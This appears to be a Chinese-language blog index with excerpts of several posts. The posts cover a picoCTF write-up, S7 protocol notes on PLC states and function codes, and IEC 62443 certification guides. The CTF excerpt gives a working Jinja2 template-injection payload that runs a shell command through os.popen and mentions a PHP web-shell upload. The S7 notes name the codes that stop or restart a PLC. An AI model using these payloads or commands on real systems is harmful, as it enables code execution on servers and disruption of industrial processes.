LuYee6813

0x00 SSTI1 題目描述 首先使用 Wappalyzer 工具識別目標網站的技術棧： 發現關鍵資訊： 後端框架：Python Flask 模板引擎：Jinja2（Flask 預設） 可能存在 SSTI 漏洞 解題過程 使用基礎數學運算測試是否存在模板注入： Payload: {{9*9}} 確認存在 SSTI 漏洞，模板引擎執行了數學運算 針對 Flask/Jinja2 環境構造 payload： {{request.application.__globals__.__builtins__.__import__('os').popen('cat fl*').read()}} Payload 解析： request.application.__globals__: 存取 Flask 應用程式的全域變數 __builtins__: 存取 Python 內建函數 __import__('os'): 匯入 os 模組 popen('cat fl*'): 執行系統命令讀取 flag 檔案 Flag: picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_753eca43} 0x01 n0s4n1ty 1 題目描述 存取目標網站發現檔案上傳功能，使用 Wappalyzer 識別技術棧： 發現關鍵資訊： 後端：PHP 可能存在檔案上傳漏洞 可嘗試上傳 Web Shell 解題過程 針對 PHP 後端建立簡單的 Web Shell： ...

好的，這是一個非常實際的問題，在進行網路監控或開發自己的客戶端時至關重要。 要從 S7 封包中判斷 PLC 的狀態 (主要是 RUN 或 STOP)，沒有一個固定的欄位存在於每一個封包中。您必須透過攔截並解析特定的請求-回應 (Request-Response) 封包組合來實現。 以下是三種主要的方法，從最直接到最間接： 方法一：主動查詢系統狀態列表 (Read SZL) - 最準確的方法 這是最標準、最可靠的作法。您的應用程式（或您正在監控的客戶端）會主動向 PLC 發送一個「讀取系統狀態列表」的請求，PLC 會在回應中明確告知其當前狀態。 要觀察的封包：【請求】 您會看到一個由客戶端發往 PLC 的封包。 PDU 類型 (ROSCTR): 0x07 (Userdata) 參數 (Parameters): 在 Userdata 的參數部分，會包含一個「Read SZL」(讀取 SZL) 的子功能請求。 關鍵識別碼 (SZL ID): 請求中會指定要讀取的 SZL ID。用於查詢 CPU 狀態的 ID 通常是 0x0424 或 0x0132 (取決於 CPU 型號和韌體)。 要觀察的封包：【回應】 PLC 會回覆一個 PDU 類型為 0x03 (Ack_Data) 的封包。 這個封包的資料區 (Data) 就包含了您要的狀態資訊。 如何判斷 (解析回應封包的 Data 區): _ 在 SZL 回應的資料區中，會有一個特定的位元組 (Byte) 用來表示 PLC 的運行狀態。 ...

1. 連線與會話管理 (Connection & Session Management) 這是在進行任何其他操作之前，建立通訊所必需的功能。 功能碼 (Hex) 功能名稱 說明 0xF0 Setup Communication 設定通訊。這是三階段交握的最後一步，用於客戶端 (Client) 與 PLC 之間協商通訊參數，例如 PDU (協定資料單元) 的最大長度和可同時處理的任務數量。 2. 核心資料讀寫 (Core Data Access) 這是最基本也是最常用的功能，用於與 PLC 的記憶體區域進行互動。 功能碼 (Hex) 功能名稱 說明 0x04 Read Variable 讀取變數。從指定的記憶體區域讀取一個或多個變數的值，例如輸入 (I)、輸出 (Q)、旗標 (M)、資料塊 (DB) 等。 **0x05 Write Variable 寫入變數。將一個或多個值寫入到指定的記憶體區域。 3. PLC 狀態控制 (PLC State Control) 這些功能用於改變 CPU 的運行模式。 功能碼 (Hex) 功能名稱 說明 0x28 PLC Control PLC 控制。這是一個多功能命令，透過不同的參數可以實現：<br>- Start (啟動)<br>- Hot Restart (熱啟動)<br>- Cold Restart (冷啟動) 0x29 PLC Stop PLC 停止。將 CPU 的模式從 RUN 切換到 STOP，停止使用者程式的執行。 4. 程式區塊操作 (Program Block Operations) 這些功能主要由 TIA Portal 或 STEP 7 等工程軟體使用，用於程式的上傳和下載。 ...

寫在前面：從學徒到主廚，迎接米其林評鑑的挑戰 恭喜你，堅持走到了這裡！在過去五篇文章中，我們一起： 認識了 IEC 62443 這本「食譜」(Art 1)。 學會了為客人「診斷」並決定「菜色」(Art 2: 風險評估與 SL 選擇)。 掌握了每道菜的「烹飪技巧」(Art 3: FR 詳解)。 理解了維持廚房「品質與衛生」的標準 (Art 4: SAR 解析)。 演練了完整的「診斷流程」(Art 5: 深度風險評估)。 現在，你已經從一個廚房學徒，成長為一位能獨當一面的主廚。而接下來的挑戰，就是迎接美食界的最高榮譽——米其林星級評鑑，也就是我們最終的目標：取得 IEC 62443 認證。 這篇文章，就是你的「米其林迎檢手冊」，將指導你如何將所有知識付諸實踐，成功摘星。 認證之路的四大階段 將認證視為一個正式的專案，並依循以下四個階段來推進，將會事半功倍。 階段一：專案啟動與規劃 (Initiation & Planning) 精神：方向對了，就不怕路遠。 取得管理層的支持 (Get Management Buy-in) 這是所有工作的第一步，也是最重要的一步。利用你在第五篇學到的風險評估報告，向管理層清楚地說明：我們面臨什麼風險？若不處理，最壞的後果是什麼？導入 IEC 62443 能帶來什麼價值（不只是合規，更是提升營運韌性與市場競爭力）？把這件事從一個「成本支出」，重新定位為一個「必要的投資」。 成立認證專案小組 (Form the Project Team) 再次強調，這需要一個跨部門的團隊。除了 OT、IT、工程師外，務必指派一位專案經理 (PM) 來負責統籌進度、溝通協調與資源分配。 明確定義認證範圍與目標 (Define Scope & Goal) 和你的團隊及高層，精準地定義： 我們要認證的系統 (SUC) 是什麼？ 目標安全等級 (SL-T) 是多少？ 這將是你們與認證機構簽訂合約的基礎。 選擇合適的認證機構 (Choose a Certification Body) 尋找在工控領域有豐富經驗且具備公信力的第三方認證機構（如：TÜV、SGS、DNV、UL 等）。在選擇時，可以考量他們的產業實績、稽核員的專業背景以及溝通的順暢度。 ...

寫在前面：從基礎健檢到專家的深度診斷 在過去的文章中，我們已經了解，從選擇安全等級 (SL) 到實作基礎要求 (FR)，再到準備保證文件 (SAR)，這一切的源頭都指向一個核心動作——風險評估。 在第二篇文章中，我們對風險評估做了一次「基礎健康檢查」，了解了它的基本概念。而今天，我們要進行的是「專家的深度診斷」。這意味著我們將學習一套更系統、更嚴謹的方法，一步步地找出系統的潛在病灶，並開出最精準的處方。 這篇文章將以 IEC 62443-3-2（工控系統安全風險評估標準）的精神為藍本，為您呈現一份清晰的實戰操作指南。 專家級風險評估的四大步驟 一個專業的風險評估，絕不是天馬行空的想像，而是一個有結構、有紀律的過程。 步驟一：準備與範疇定義 (Preparation & Scoping) 精神：沒有好的準備，就沒有好的開始。 在動手分析之前，必須先做好功課，這一步至關重要。 組建黃金團隊： 風險評估絕對不是資安或 IT 人員的獨角戲。你的團隊必須包含： 操作人員 (OT)：他們最了解生產流程與日常操作。 控制工程師：他們懂系統架構與設備細節。 廠務/維護人員：他們了解實體環境與維護流程。 IT/資安人員：他們提供資安專業知識與威脅情資。 工廠管理層：他們能從業務衝擊的角度提供觀點，並給予支持。 定義評估範疇 (SUC)： 明確定義本次要評估的「待議系統 (System Under Consideration, SUC)」是什麼。是「整座晶圓廠」，還是「三號鍋爐的燃燒控制系統」？範圍定義得越清楚，後續的分析就越聚焦、越準確。 收集基礎資料： 盡可能收集所有相關文件，例如： 網路架構圖 資產清單 (包含 PLC, HMI, Server 等) 製程流程圖 (P&ID) 現有的安全政策與程序 步驟二：系統分割與高階評估 (Partitioning & High-Level Assessment) 精神：化整為零，優先處理高風險區域。 直接分析一個龐大的系統是不切實際的，我們需要先進行分割和篩選。 劃分區域與管道 (Zoning)： 將 SUC 依照功能、實體位置或網路分段，劃分成數個較小的「區域 (Zone)」。例如，一個「鍋爐安全儀控系統 (SIS)」可以是一個 Zone，而「生產數據歷史資料庫」則是另一個 Zone。 進行高階風險篩選： 針對每個劃分好的 Zone，快速地問一個問題：「如果這個 Zone 完全癱瘓，對工廠造成的最大衝擊是什麼？」 ...

寫在前面：如何證明你蓋的堡壘真的很堅固？ 在前面的文章中，我們已經學會了如何選擇目標安全等級 (SL)，並了解了為了達標，必須實作哪些基礎要求 (FR)。這就像我們已經拿到了一份詳細的「堡壘設計藍圖」，上面標明了需要多厚的牆 (FR3)、多堅固的門 (FR1)、多嚴密的崗哨 (FR2) 等等。 現在，一個更深層次的問題來了：你如何證明這座堡壘是嚴格按照藍圖建造的？你怎麼能相信建造過程沒有偷工減料？當堡壘建成後，你又如何確保它能被妥善地維護，而不是逐漸荒廢？ 回答這些問題的核心，就是我們今天的主角——安全保證需求 (Security Assurance Requirements, SAR)。SAR 關乎的不是「有什麼功能」，而是「這些功能的品質與可信度有多高」。 一、FR 與 SAR 的根本區別：建材 vs. 施工品質 為了徹底理解 SAR，我們必須先釐清它與 FR 的根本不同。讓我們用「建造一棟大樓」來比喻： 比較項目 基礎要求 (FR) 安全保證需求 (SAR) 核心焦點 技術功能 (The “What”) 流程與證據 (The “How Well”) 回答問題 「大樓用了哪些建材？」 「施工品質如何？有沒有偷工減料？」 具體例子 是否用了防火門？(FR1) 是否有監視器？(FR6) 防火門的檢驗報告在哪？ 監視器系統的測試紀錄？ 工地的施工日誌？ 最終目標 具備安全「能力」 證明安全能力是「可信賴」且「可持續」的 簡單來說，FR 是產品規格書上的功能列表，而 SAR 則是證明這些功能被正確設計、嚴謹測試、並被妥善維護的全套「履歷與證明文件」。只有 FR，沒有 SAR，就相當於一個宣稱自己很安全的「口說無憑」的系統。 二、SAR 的核心支柱：建立信任的流程 IEC 62443-3-3 中定義的 SAR，可以被歸納為三大核心支柱，它們共同構成了從設計到維運的完整信任鏈。 支柱一：安全的設計與文件 (Secure by Design) 精神：安全不是事後補救，而是從一開始就內建於 DNA 中。 這要求在專案的最初階段就把安全考慮進去，並留下完整的文件紀錄。 ...